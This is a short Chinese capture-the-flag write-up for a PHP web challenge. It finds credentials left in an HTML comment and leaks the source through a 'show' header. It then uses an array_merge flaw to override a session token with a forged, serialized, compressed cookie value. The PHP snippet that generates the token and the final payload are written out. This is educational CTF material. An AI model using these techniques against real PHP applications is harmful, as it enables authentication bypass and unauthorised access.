注释以及响应头
在登录页面注释中发现如下,猜测为用户名密码,登录成功
<!-- test1 test1 -->
在响应头中发现show字段show: 0
,于是设置请求头show: 1
,得到源码:
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴";
}
}else{
header('Location: index.php?error=1');
}
?>
分析源码
并没有考到classdb的反序列化,那里应该是反序列化和注入联合考察
- 如果
$login['user'] === 'ichunqiu';
即可输出flag $login
来自$requset['token']
$requset
来自array_merge($_GET, $_POST, $_SESSION, $_COOKIE)
- 显然在我们的输入中没有发现
token
,那么token
一定在session
里 - 于是我们可以在
cookie
设置token
字段,当使用array_merge()
给$requset
便可覆盖session
中的值
<?php
$login['user'] = 'ichunqiu';
echo base64_encode(gzcompress(serialize($login)));
?>
在cookie中添加:token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;
即可